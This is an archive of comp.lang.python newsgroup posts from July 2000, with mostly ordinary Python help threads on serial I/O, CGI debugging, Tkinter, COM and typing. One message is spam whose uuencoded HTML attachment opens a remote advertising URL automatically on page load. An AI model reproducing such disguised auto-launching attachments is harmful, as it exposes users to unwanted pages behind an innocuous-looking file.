Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From julesk24 at my-deja.com.bbs  Mon Jul 17 09:00:02 2000
From: julesk24 at my-deja.com.bbs (julesk24 at my-deja.com.bbs)
Date: 17 Jul 2000 13:00:02 GMT
Subject: Reading asynchronous data from a serial device
Message-ID: <3bRCd3$kGG@openbazaar.net>

I am attempting to write a program (to run on a
linux box) in python  which communicates to a
device via a serial port.  The problem is that
the device is not reliable in responding when
expected.  Therefore, I have many reads timeout.
I am relatively new to the world of multiple
threads so I am probably making many mistakes.
My current approach is to use a separate thread
for the read and then to join() the thread back
into the main thread if the read is not sucessful
within the given amount of time.  The end result
is hundreds of hung processes and an eventual
segmentation fault (the program needs to be
designed to run for days).  My questions are:

1)  Is there any (easy) way for me to cause the
thread to exit (not just join the processes)
after a timeout on a read?

2)  Is there a better way of reading for data
(without starting my own thread for the read
process and then trying to exit out of the thread
after a period of time)?

I have read through the newsgroups, but I haven't
found anything which specifically answers my
questions.  Thanks to anyone who can answer my
questions!

Julie Kempton
jmk11 at duke.edu


Sent via Deja.com http://www.deja.com/
Before you buy.


From gmcm at hypernet.com  Sat Jul  1 15:48:02 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: Sat, 1 Jul 2000 15:48:02 -0400
Subject: Event Binding and Variable Passing
Message-ID: <1249641616-55775887@hypernet.com>

[posted & mailed]

Cameron subtly baited:
    In article <39567A5A.5B692C5D at pacbell.net>,
    Bruce Wolk <{HYPERLINK "http://www.deja.com/[ST_rn=ps]/profile.xp?author=bawolk at ucdavis.edu&ST=PS"}bawolk at ucdavis.edu> wrote:
    >You need to use a lamda expression.
    >
    >def fun(x):
    > print x
    >b.bind('<Button-1>', lambda event, b=x: fun(b))
    .
    .
    .
    Can one of the old(er?)-timers help me with this?
    There's a sect (claiming the Guido among its sym-
    pathizers) that deprecates lambdas for Python, no?
    But their reasons (very abstractly, that object-
    oriented metaprogramming gives more than enough
    goodies, making lambdas essentially redundant) do
    *not* apply for communication with the event- and
    binding-mechanisms adapted from Tcl, true? The
    conclusion would be, then, that Tkinter forces a
    fundamental need for lambdas.
    
Well, my version of IDLE contains all of 9 lambdas, only 3 of which 
are used with Tkinter. So obviously Guido is no big fan of lambda, 
but neither does he abstain from its use.

However, the fact that that much Tkinter code uses only 3 lambdas 
belies your assertion.

Of course there are a multiplicity of sects within Python, sharing little 
more than a common shortage of virgins...

- Gordon



From cjensen at bioeng.ucsd.edu  Thu Jul  6 15:35:01 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Thu, 06 Jul 2000 12:35:01 -0700
Subject: Hello Word in CGI
References: <3963C29E.76211EB7@bioeng.ucsd.edu> <3963E6D6.F47FA4D8@roguewave.com> <3964BC64.761858FA@bioeng.ucsd.edu> <3964C635.E730EB97@roguewave.com> <3964C6FE.9BEC7ABB@bioeng.ucsd.edu> <3964D69C.AAA9EEA7@roguewave.com>
Message-ID: <3964DF65.4D0EB00@bioeng.ucsd.edu>

Bjorn Pettersen wrote:
> 
> Curtis Jensen wrote:
> >
> > Bjorn Pettersen wrote:
> > >
> > > Curtis Jensen wrote:
> > > >
> > > > Bjorn Pettersen wrote:
> > > > >
> > > > > What you're seeing are the symptoms of Python having thrown an exception
> > > > > and the weblog not capturing all the information. The solution is to make
> > > > > sure Python can only throw where you can grab the exception and do
> > > > > something useful with it, like printing it to the browser...  Try the
> > > > > following (but make sure you can execute it from the command line first --
> > > > > one possible error is a SyntaxError, which this scheme will not save you
> > > > > from...)
> > > > >
> > > > > -- bjorn
> > > > >
> > > > > #!/usr/bin/env python
> > > > > print """Content-type: text/html
> > > > >
> > > > > """
> > > > >
> > > > > def main():
> > > > >     from time import *
> > > > >
> > > > >     print "<HTML>"
> > > > >     print "<Head>"
> > > > >     print "<Title>Hello World</Title>"
> > > > >     print "</Head>"
> > > > >     print "<Body>"
> > > > >     print "<H1>Hello World !</H1>"
> > > > >     print "<hr>"
> > > > >     print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"
> > > > >
> > > > >     print "</Body>"
> > > > >     print "</HTML>"
> > > > >
> > > > > import traceback
> > > > >
> > > > > def execute(fn):
> > > > >     # make sure any errors are legible, and directed to the user.
> > > > >     try:
> > > > >         sys.stderr = sys.stdout
> > > > >         fn()
> > > > >     except:
> > > > >         print '<h1>Something went wrong!!!</h1>'
> > > > >         print 'Please send the transcript below to webmaster at your.web<p>'
> > > > >         print '\n\n<pre>'
> > > > >         traceback.print_exc()
> > > > >
> > > > > execute(main)
> > > > >
> > > >
> > > > I tried this.  I got the same errors in the log and in the browser.  I
> > > > took out the print line since it caused a discussion.  Any more
> > > > suggestions?  Thanks.
> > >
> > > You do need the print line! The first thing your cgi must print out
> > > (modulo cookies) is "Content-type: text/html" followed by exactly two
> > > newlines (yes, I know there are situations where this isn't true, but in
> > > this case it is.. <wink>)
> >
> > Sorry, I didn't say witch line.  I took out the print line with the time
> > in it.  So now it is a simple hello world script.  By the way, is,
> > print 'Content-type: text/html\n\n'
> > just as good as they way you have it?  I've tried both.
> >
> > >
> > > Check that:
> > >
> > >  - your script is executable (by everyone)
> >
> > It is. permissions are 775
> >
> > >  - some webservers require a .cgi extension (a symbolic link to your .py
> > > will work)
> >
> > I tried that and got the same errors
> >
> > >  - python is where you think it is, and is executable (again by
> > > everyone)
> >
> > from the unix prompt, I can run helloworld.py and it prints fine.
> > Permissions on python are 755
> >
> > >  - your webserver is set up to execute cgi scripts.
> >
> > In the same directory as helloword.py there are Pearl cgi scripts that
> > run fine.
> >
> > > If all that works, try the simplest possible cgi script, something like:
> > >
> > > #!/usr/local/bin/python
> > > print  """Content-type: text/html
> > >
> > > """
> > > print '<h1>hello world</h1>'
> >
> > We tried this and got the same problem.
> > Anything else?  Thanks for the help so far.
> 
> print 'Content-type: text/html\n\n' is fine...
> 
> Hmmm... it seems clear that there is something going wrong when the
> webserver is trying to execute your script (the errormessage being
> "premature end of headers")...
> 
> How about
> 
> #!/bin/sh
> echo "Content-type: text/html"
> echo
> echo "<h1>hello world</h1>"
> 
> if that works, create a text file called yyy.txt and make it world
> writable (777), then try:
> 
> #!/bin/sh
> echo "Content-type: text/html"
> echo
> /usr/local/httpd/cgi-bin/test_jmsun/cont_forms/helloworld.py >> yyy.txt
> 2>&1
> 
> Your browser should tell you that the document contained no data, but
> the yyy.txt file will hopefully contain the error... (you're getting
> very close to the limit of my cgi knowledge here ;-)
> 
> -- bjorn

The shell-cgi worked fine.  I redirected the output and the yyy.txt file
remained empty.  If I ran the shell-cgi script from the unix prompt,
yyy.txt contained the correct html code.  

So, even though I didn't get any errors in the yyy.txt file, this helped
me  figure out what is going on.  The webserver is not able to execute
the python executable.  Python was compiled for a newer OS than what the
webserver is running at.  I was running the scripts from my machine
which is IRIX 6.5, but the OS on the webserver is older.  I logged into
the webserver, and tried running the python interpreter and it returned
with a new unix prompt.  So, that's our problem. We're going to have to
make a work around for this.  Thanks for the help.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451



From jhe at webde-ag.de  Thu Jul 27 05:33:32 2000
From: jhe at webde-ag.de (Jurgen Hermann)
Date: Thu, 27 Jul 2000 11:33:32 +0200
Subject: File Upload Problem
References: <397FF05C.D0A7A724@yahoo.co.jp>
Message-ID: <8lovi0$lf8$1@pollux.ip-plus.net>

<tkssato at yahoo.co.jp> schrieb im Newsbeitrag
news:397FF05C.D0A7A724 at yahoo.co.jp...
> Uploaded image files are truncated.

Set stdin to binary mode (see my msg in c.l.p 1-2 weeks ago).




From bjorn at roguewave.com  Fri Jul 14 20:23:09 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 14 Jul 2000 18:23:09 -0600
Subject: string issue or questions about intern
References: <396EEAFF.3AD7B951@bioreason.com> <396F87C4.6B3C9FAE@schneider-kamp.de> <396F0DD3.B391503@bioreason.com> <3dk8eol9bk.fsf@kronos.cnri.reston.va.us> <396F8800.49F7D25D@prescod.net>
Message-ID: <396FAEED.32400187@roguewave.com>


Paul Prescod wrote:
> 
> Andrew Kuchling wrote:
> >
> > ...
> >
> > If you need full Python expressions, there seems no way around using
> > eval().  But if you simply need string escapes, it's probably worth
> > writing a parser.  (Does such a parser already exist somewhere in the
> > standard library?  Anyone know?)
> 
> In general, wouldn't it be nice if there was a parser for all Python
> literal syntaxes? Sometimes its really convenient to keep your data in a
> format like this:
> 
> {"a":"b"}
> 
> but I cringe to load the file and then eval it for security reasons.

Do you want something like (from the python2c distribution)?:

D:\bjorn\py2c>python
Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import transformer
>>> t = transformer.Transformer()
>>> t.parseexpr("""{'a':'b'}""")
('dict', [(('const', 'a'), ('const', 'b'))])


-- bjorn



From erno at iki.fi  Wed Jul 12 13:45:28 2000
From: erno at iki.fi (Erno Kuusela)
Date: 12 Jul 2000 20:45:28 +0300
Subject: Python and SSH
References: <8kf4gl$fqm$1@saltmine.radix.net> <396BA227.7EE196E1@bioeng.ucsd.edu>
Message-ID: <ku1z0zxmx3.fsf@lasipalatsi.fi>

>>>>> "Curtis" == Curtis Jensen <cjensen at bioeng.ucsd.edu> writes:

    Curtis> If I'm not mistake SSH just sends data accross a socket,
    Curtis> same as most network protocals (I'm not sure which port
    Curtis> SSH sends on).  You can use the socketServer module to
    Curtis> catch socket data from the SSH port.

... and implementing the crypto stuff and ssh protocol details and the
equivalent scrutiny of 5 years of bugtraq pounding on it is left as an
exercise to the reader :).

  -- erno


From brown.2053 at osu.NOSPAM.edu  Wed Jul 19 16:35:21 2000
From: brown.2053 at osu.NOSPAM.edu (Locke)
Date: Wed, 19 Jul 2000 16:35:21 -0400
Subject: Python/Tkinter and Windows 2000
Message-ID: <8l53a9$e64$1@mcnet.marietta.edu>

When I run any Tkinter programs on Win2k, I get an error that it can't find
tcl80.dll or something like that. Does Python/Tkinter not support windows
2000?




From moshez at math.huji.ac.il  Fri Jul 28 07:21:28 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 14:21:28 +0300 (IDT)
Subject: [Draft] Open Letter to CNRI: Request for clarification
In-Reply-To: <39816303.C808D05A@nowonder.de>
Message-ID: <Pine.GSO.4.10.10007281418590.7506-100000@sundial>

On Fri, 28 Jul 2000, Peter Schneider-Kamp wrote:

> Or should it better by a letter from the community to CNRI?

I don't think so. The "community" is amorphous -- Peter is a specific
being you can speak for <wink>. That the community is behind this should
be evident from the sheer number of signatures (BTW: please append my
signature too). However, I don't think the letter should merely express
concern: it should also ask for a clear statement.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From rumjuggler at cryptarchy.org  Fri Jul 28 15:06:54 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 19:06:54 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <dp3dkulamd.fsf@mraz.iskon.hr> <slrn8o38ap.3ok.grey@teleute.rpglink.com>
Message-ID: <aom3os0pigrrcf554otsnisfaif2cglfsi@4ax.com>

On Fri, 28 Jul 2000 15:08:12 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On 28 Jul 2000 14:09:30 +0200, Hrvoje Niksic <hniksic at iskon.hr> wrote:
>>I sort of hope you're trolling here.
>
>    No, I am not.
>
>>For me, 1 and "1" are clearly not two numbers.  The former is a
>>number, the latter a string consisting of the character "1".  Saying
>>that they are numbers because we "see" they're numbers is like
>>insisting one 1 + "one" to return 2 because "one" is so obviously a
>>number.
>
>    You see that only because you are a programmer and have gotten used to the
>concept of types.  I, too, am a programmer and I reject the concept of types
>because to the human that concept is meaningless.

Actually it's quite meaningful and useful when you want to talk about
languages.

"Tree has four letters" vs. "'tree' has four letters", and all that.

-- 
Barnabas T. Rumjuggler

The night of time far surpasseth the day, and who knows when was the
equinox?
 -- Thomas Browne



From mikl at club-internet.fr  Tue Jul 11 06:11:39 2000
From: mikl at club-internet.fr (Mickael Remond)
Date: 11 Jul 2000 12:11:39 +0200
Subject: Python book suggestions?
References: <MPG.13d2b74a5f5c63ea98981c@news.onlynews.com> <8kdpeq$hqe$1@nnrp1.deja.com>
Message-ID: <87puolou1w.fsf@louxor.home>

>>>>> "shindich" == shindich  <shindich at my-deja.com> writes:

I recommand XML processing with Python (Sean McGrath) published by Prentice
Hall.

It is both a very good way to learn XML processing and a very good
introduction to Python.

-- 
Micka?l


From to_get_my_address at see.my.signature  Thu Jul 27 02:24:05 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 19:24:05 +1300
Subject: polymorphism  (was  Re: Type checking in python?)
References: <8lmo4i$s28$1@news.kth.se>
Message-ID: <397FD57F.5F588026@see.my.signature>

Oivvio Polite wrote:
> 
> What are your experiences? Does the type(arg) checking really become
> unmanageable as Paul's post implies? If so what are the alternative routes?

It's not so much that it becomes unmanageable, but that it
needlessly constrains what kind of objects your methods can
operate on.

Rather than checking for specific types, a more flexible way
is to test whether they support the operations you need to do
on them. For example,

 class myclass:
     def __init__(self, arg):
         if hasattr(arg, "read"):
             # It seems to be a file or a file-like object
             ...
         else:
             # Assume it's a string or something that can be converted
to one
             filename = str(arg)
             ...

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From jvickroy at sec.noaa.gov.bbs  Mon Jul 17 16:50:04 2000
From: jvickroy at sec.noaa.gov.bbs (jvickroy at sec.noaa.gov.bbs)
Date: 17 Jul 2000 20:50:04 GMT
Subject: Multiline strings and indentation
Message-ID: <3bRP2S$m5v@openbazaar.net>

How about:

>>> print "this" + \
                " is" + \
                " a" + \
                " long" + \
                " string"

this is a long string
>>>

"donotspam-jen at personic.com" wrote:

> I'm just getting started with Python. The indentation feature really does
> make things readable ... except when using multi-line strings.  This just
> doesn't look right:
>
> def multiline(x):
>   if x:
>     print """this is a
> multi-line string that spans
> three lines"""
>  print "another string"
>
> Is there a way to make the above more readable? It would be nice if it could
> be written this way and have Python just figure out what whitespace to
> ignore:
>
> def multiline(x):
>   if x:
>     print """this is a
>              multi-line string that spans
>              three lines"""
>  print "another string"
>
> Thanks for any suggestions!
>
> Jen


From neilh at scintilla.org  Tue Jul 25 21:49:50 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 26 Jul 2000 01:49:50 GMT
Subject: PythonWin/Scintilla aggressive folding...
References: <guif5.43644$1h3.552517@news20.bellglobal.com>
Message-ID: <2trf5.12076$4p3.93728@news-server.bigpond.net.au>

    [PythonWin / Scintilla folds away comments that belong to next
definition]

    Mark's comments are correct but I'd like to explain a little more.

    Scintilla uses a simple fold discovery algorithm that relies mostly on
indentation and only looks at a narrow window of lines. Often, comments are
not indented with the executable code so are treated by the folder as having
a 'neutral' indentation level which will bind to the indentation level of a
nearby piece of executable code. Blank lines also have neutral indentation
level as they are often sprinkled within a function. This allows a function
like

def z(y):
    x = 1
#  x = sin(y)

    return x*2

   to fold correctly. It has the downside of binding the top level comment
in your example to the preceding definition.

   This could be fixed by doing a much better job of parsing the Python code
or by doing some more tweaks such as detecting this particular common case.
The argument against a really good parser is the need for performance as the
folding structure is being continuously recalculated as editing occurs.

   Eventually I'll do some more work on the code folder but haven't yet
found a good alternative. It'd be great if someone else was interested in
working on this.

   Neil





From spamfranke at bigfoot.de  Mon Jul  3 20:15:01 2000
From: spamfranke at bigfoot.de (Stefan Franke)
Date: Tue, 04 Jul 2000 00:15:01 GMT
Subject: mysql module for python under windows
References: <8jqt8d$3do$1@nnrp1.deja.com>
Message-ID: <39612aaa.15439725@news.btx.dtag.de>

On Mon, 03 Jul 2000 20:32:13 GMT, ekw1 at my-deja.com wrote:

>Is there a Python MySQL module for use under Windows?  All the ones I
>come across on python.org are for Unix/Linux.  Thanks for any info.
>
>ekw
>
>
>Sent via Deja.com http://www.deja.com/
>Before you buy.

Hmm, dunno where to download it separately, but check out

  ZMySQLDA-1.2.0.tar.gz

on the Zope site (www.zope.org). It contains MySQLdb-0.1.2 with
some Windows patches already applied. I run it sucessfully with
the lately GPLed MySQL-2.23.19 on Win98.

All you need to do is to edit Setup.in, adjust the paths to your 
local MySQL installation, and run compile.py. If you don't have
Visual Studio, mail me personally and I'll send you the files.

No-warranties-of-course-ly y'rs
Stefan



From grey at despair.rpglink.com  Thu Jul 27 11:46:41 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Thu, 27 Jul 2000 15:46:41 GMT
Subject: Is the "Be" significant? (Re: The State of Python)
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <397FD6B9.5017B952@see.my.signature> <cpr98fk04z.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <slrn8o0m70.qhk.grey@teleute.rpglink.com>

On Thu, 27 Jul 2000 15:29:15 GMT, Guido van Rossum <guido at python.org> wrote:
>If anything, "Be" made a rather confusing choice of name.

    Well, I think it fits if what I hear about what it stands for is true.
BeOS - Bleeding edge Operating System.  Considering they designed it from the
ground up for the latest hardware at the time it fits.  Otherwise, yeah.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From cjc26 at nospam.cornell.edu  Wed Jul 19 14:22:14 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Wed, 19 Jul 2000 18:22:14 GMT
Subject: Advice sought: text-mode (but not CLI) apps in Windows console ?
References: <8F7682C13PaCmAnRDLM@195.25.12.37>
Message-ID: <slrn8nbsj3.chd.cjc26@synecdoche.sowrong.org>

* Fred Pacquier <fredp at mygale.org.nospam> menulis:
| 
| Since then I have been through what I believe to be a reasonably thorough 
| Web search (from Parnassus outwards) to find something to get me started, 
| and have turned up precious little. Various Python bindings of curses or 
| ncurses exist, but can one run curses itself under Win 9x ? Or are there 
| other, well-hidden libraries or modules that do more or less the same thing 
| on that platform ? (I'm not asking for something as high-level and 
| extensive as the Borland OWL of old :-)

You may be able to compile curses using cygwin/djgpp.  Also, there
is another library called S-Lang which you could use, and I believe
there is a port for it for Windows.


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From cliff.penton at b_i_g_f_o_o_t.c_o_m  Mon Jul 10 16:10:47 2000
From: cliff.penton at b_i_g_f_o_o_t.c_o_m (Cliff Penton)
Date: Mon, 10 Jul 2000 21:10:47 +0100
Subject: Palm Python?
References: <8h8jmc$t9i$1@gaia.cdg.acriter.nl> <14649.14534.184930.984180@malibu.aero.org> <FvLsJJ.CAC.0.bloor@torfree.net> <3939FFB4.A7824367@mindspring.com> <da1eh8.r4g.ln@demonseed.net> <m3zooxhm9k.fsf@chinon.cnrs-orleans.fr> <slrn8md52n.gb2.bwinton@tor.dhs.org> <FxDxF7.E1D@world.std.com>
Message-ID: <k%pa5.749$24.55348@news-1.opaltelecom.net>

"Will Ware" <wware at world.std.com> wrote in message
news:FxDxF7.E1D at world.std.com...
> Blake Winton (bwinton at tor.dhs.org) wrote:

<snip>

> There's actually an interesting problem with "static", as it applies
> to variables rather than functions. For variables, it also limits the
> name scope to the current source file, but it has a second meaning
> which is to ensure that the variable has a permanent address (rather
> than being, say, just a local allocated on the stack). It would have
> been good to use a second keyword for this second meaning. This hasn't
> ever actually been a problem for me in writing C code, but it's an
> interesting little design blunder.

Don't think of the reuse of static as a design blunder -- more an efficient
use of keywords ;-)

Cliff





From pehr at pehr.net  Fri Jul  7 21:24:30 2000
From: pehr at pehr.net (pehr anderson)
Date: Sat, 08 Jul 2000 01:24:30 GMT
Subject: Python based macro processor (URGENT)
References: <dzg95.34$Pn2.1078@m2newsread.uni2.es>
Message-ID: <396682CF.51939273@pehr.net>

Dear Fernando,

There have been previous requests for a python preprocessor but
in most cases python had enough built-in functionality to 
gracefully deal with the problem at hand. 

Perhaps you could describe your problem in detail and let
the good folks on this list with far more experience than I
guide you to a simpler more elegant solution than preprocessing.

Who knows? 
It's pretty easy to whip up a single-purpose preprocessor
in python!

text = open(filename).read()
for line in string.split(text,"\n"):   
   if len(line) > 7 and line[0:6]=="#define":
	deftxt, var, data = string.split(line, None, 3)
	text = string.replace(text, var, data)
open(filename + ".out","w").write(text)

	-pehr

"Fernando Rodr?guez" wrote:
> 
> Hi!
> 
>     Is there any Python based macro processor? O:-) I'm looking for
> something like m4, but with a saner syntax... :-)
> 
> TIA
> 
> --
> 
> ---------------------------------------
> Fernando Rodr?guez


From spam at spam.com  Thu Jul 20 18:10:35 2000
From: spam at spam.com (Penfold)
Date: Thu, 20 Jul 2000 23:10:35 +0100
Subject: Closing a file
References: <8l7lm7$kkb$1@news6.svr.pol.co.uk>
Message-ID: <pLKd5.4730$FA2.524729@nnrp3.clara.net>

Im assuming youre using Pythonwin (given that you say you need to "close
down python")
The problem is that you've set stdout to the file, then you never explicitly
close the file with a
outputfile.close()

So since something still refers the file it is never destructed and hence
closed.
Solutions
(i) Reset stdout to its default
[sys.stdout = sys._stdout]

This will mean the file gets closed after leaving your function (as nothing
refers to it anylonger).
For maximum safety you really should do an explicit outputfile.close() as
well

> I am attempting to write data to a file so I can export it to another
> application after running a simulated annealing algorithm.  (self.cost ==
0
> on the first iteration only.)  The relevant code is below.  The file seems
> to be created and written to O.K., bit it's not closed and I can't access
> 'simresults.txt' without shutting down Python.  I've checked the FAQ etc.
> but I'm no computer scientist and I can't figure out where I'm going
wrong.
> Thanks in advance for any help.
>
>
> from Numeric import *
> from Set import *
> from RandomArray import *
> import sys
>
>     def acceptsim(self, cost, n):
>         t = 10000.0 / n
>         if self.cost == 0:
>             outputfile = open('simresults.txt', 'w')
>             sys.stdout = outputfile
>             self.cost = DJT.totalcost(self)
>             self.low_cost = self.cost
>             self.low_ordering = self.ordering[:]
>         if n > 900000:
>             outputfile.close()
>             return 'stop'
>         if cost > 0:
>             p = exp ((-1 / t) * (float(cost) / self.cost))
>             if random() > p:
>                 print self.cost
>                 return 0
>             else:
>                 self.cost = self.cost + cost
>                 print self.cost
>                 return 1
>         else:
>             self.cost = self.cost + cost
>             if self.cost < self.low_cost:
>                 self.low_cost = self.cost
>                 self.low_ordering = self.ordering[:]
>             print self.cost
>             return 1
>
>




From alex at magenta.com  Wed Jul 12 08:07:33 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 12 Jul 2000 14:07:33 +0200
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net> <8kft65$rnc$1@news2.acs.oakland.edu>
Message-ID: <8khn9001f57@news2.newsguy.com>

"someguy" <jdub at nospam.net> wrote in message
news:8kft65$rnc$1 at news2.acs.oakland.edu...
> Drive letters could easily be enumerated using com & following the VB
Script
> examples, only substituting python instead.

I.e., basically, something like:

import win32com.client

def printDriveLetters():
    fso=win32com.client.Dispatch("Scripting.FileSystemObject")
    for drive in fso.Drives:
        print drive.DriveLetter

> Drive letters aren't a cross platform concept.  I know of no native Python
> functions to perform this action.

Agreed!  I prefer relying on objects and methods in the "scripting
runtime" component, rather than on win32api.stuff, for this sort of
tasks -- it's a nice, simple, decently consistent object model.


Alex





From ge at nowhere.none  Wed Jul  5 11:34:18 2000
From: ge at nowhere.none (Grant Edwards)
Date: Wed, 05 Jul 2000 15:34:18 GMT
Subject: Python COM for Linux?
References: <8ja7gv$687$1@nnrp1.deja.com> <3958c185.103629691@news> <Za465.1871$iN5.400266@ptah.visi.com> <8juulj$csu$1@pony.kenan.com>
Message-ID: <_zI85.3060$iN5.739427@ptah.visi.com>

In article <8juulj$csu$1 at pony.kenan.com>, Jess Austin wrote:

>>I have a Python program that fetches mail from MS Exchange
>>Server using MAPI/COM.  I'd dearly love to run it under Linux.
>>Does anybody have an experience with accessing MS Exchange
>>Server via COM from Linux?
>
>I'd love to take a look at this.  I'm always interested in anything that
>could help me escape the drudgery of Outlook.  Can you post a link?

Sure:

    ftp://ftp.visi.com/users/grante/stuff/mfetch.py
    ftp://ftp.visi.com/users/grante/stuff/mfetch.bat   shows invokation

Disclaimer: There's some hard-wired logic in one of the methods
that convertes Outlook addresses to SMTP addresses -- grep for
"comtrol".

It only fetches mail -- I send mail using ssmtp with and the
Exchange's SMTP server.

-- 
Grant Edwards                   grante             Yow!  This is PLEASANT!
                                  at               
                               visi.com            


From hei at adtranzsig.de  Tue Jul 25 04:34:30 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Tue, 25 Jul 2000 10:34:30 +0200
Subject: Tokenize.py for C++?
Message-ID: <8ljjj2$803$1@desig-bs01-s04.adtranzsig.de>

After David Bolen meantioned this script:
http://www.lfw.org/python/Itpl15.py ;
i read through it and the underlying tokenize.py in
the Python lib. Both great stuff by Ka-Ping Yee.

My Question: Did anyone write something
similar to tokenize C++? It could be of great use
for me, for doing some simple refactoring in a
largish project. I could adapt tokenize.py myself,
but maybe somebody already did something in
this direction.

--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net






From moshez at math.huji.ac.il  Fri Jul 28 02:19:03 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 09:19:03 +0300 (IDT)
Subject: Perl is worse!
In-Reply-To: <slrn8o10ko.rt1.grey@teleute.rpglink.com>
Message-ID: <Pine.GSO.4.10.10007280909410.4194-100000@sundial>

On Thu, 27 Jul 2000, Steve Lamb wrote:

> On 27 Jul 2000 17:56:55 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
> >Hmm. You seem to expect that strings and other things will be automatically
> >coerced to integers whenever a function expects an integer. I think that's
> >pretty scary; when I pass in the wrong thing to a function I *want* it to
> >complain, as it's very likely I did it by accident. 
> 
>     The problem there is you're thinking in terms of separate data types.  I
> prefer the freedom of thinking in /DATA/.  Not types, just data.  1.  Is that
> a string?  Is it an integer?  Is it a floating point number?  Yes, it is all
> three.

Huh? Is "ab" an integer? What happens when I do "ab"+1? 1+"ab"?
What happens when I do 1+(6.0**100000)-(6.0^100000)?

Granted, Python makes some differences it shouldn't (longs vs. integers,
for one), but on the whole it has a much saner numeric model then Perl.
Dats *is* typed -- otherwise you can't tell the difference between
"-1" and -1 (one is a flag, the other the unique number x s.t. x+1 = 0)

>     What, strict checking versus TMTOWTDI?  If we're going to have the strict
> checking why, then, don't we have typing up front instead of the half-typing
> we have now?

Huh? Python has *extremely strong typing*. It's just that *values* are
typed, not *variables*

>  Python gets the initial type from context but won't switch types
> based on context?  Might as well force people back into declaring variables in
> certain types since that is implicitly what we have now.

It most certainly isn't.

def foo(a):
	print a[0]

foo("aaaa")
foo([1,2,3])
foo((1,2,3))
foo({0: 'hello'})
t = UserList.UserList()
t.append("hello")
foo(t)

etc.
 
>     Nope.  You stuff a number into a scaler it is a number but can be used as
> a string.  Not that hard to remember.

What about "1a"? "aa"? "1.0"? "1L.0"? "1l.0"? "2-3"?
(I don't care what Perl does -- but those are all things you need to
specify and remember)

> What "type" that data is is completely
> subjective and based on the context of the operation.

Note that this attitude is hopeless in the face of OO: in OO, the *data*
decides on the operation, and should have enough information to do so.
That is called the "type".

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From egqjpz at dsgf34w.cz  Sun Jul  9 13:41:14 2000
From: egqjpz at dsgf34w.cz (egqjpz at dsgf34w.cz)
Date: 10 Jul 2000 01:41:14 +0800
Subject: a wide range of medical equipment at CHEAP price
Message-ID: <3968b93a.1@news2.tm.net.my>

mizzveytowiijldbgvxrkrzdhmkudsnxlvyicnmleieiqmejwzftnztoqgkxfzblpexzomnqkfzrgwkjvmrkhrqzhmebnxtpejilbqfhnqisxhwwjmxyllpjlkfqtfsgmrubiqmhuurxmipwudmxuxsmldbbtmzi

begin 644 d:\Advertisement\cyberking\medical ville.html
M/"%D;V-T>7!E(&AT;6P@<'5B;&EC("(M+R]W,V,O+V1T9"!H=&UL(#0N,"!T
M<F%N<VET:6]N86PO+V5N(CX-"CQH=&UL/@T*/&AE860^#0H@("`\;65T82!H
M='1P+65Q=6EV/2)#;VYT96YT+51Y<&4B(&-O;G1E;G0](G1E>'0O:'1M;#L@
M8VAA<G-E=#UI<V\M.#@U.2TQ(CX-"B`@(#QM971A(&YA;64](D%U=&AO<B(@
M8V]N=&5N=#TB8WEB97(B/@T*("`@/&UE=&$@;F%M93TB1T5.15)!5$]2(B!C
M;VYT96YT/2)-;WII;&QA+S0N-R!;96Y=("A7:6XY.#L at 22D@6TYE='-C87!E
M72(^#0H@("`\=&ET;&4^;65D:6-A;"!V:6QL93PO=&ET;&4^#0H\+VAE860^
M#0H\8F]D>3X-"CQB;V1Y(&]N;&]A9#TB=VEN9&]W+F]P96XH)VAT='`Z+R]W
M=W<N;65D:6-A;'9I;&QE+F-O;2]A+S,T-2<I(CX\+V)O9'D^#0H\+V)O9'D^
+#0H\+VAT;6P^#0II
`
end




From disposable002 at netscape.net.remove  Thu Jul 27 13:47:01 2000
From: disposable002 at netscape.net.remove (Brian Steele)
Date: Thu, 27 Jul 2000 17:47:01 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com> <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com> <slrn8o0m0c.qhk.grey@teleute.rpglink.com>
Message-ID: <39807595.D6F543E9@netscape.net.remove>

Steve Lamb wrote:
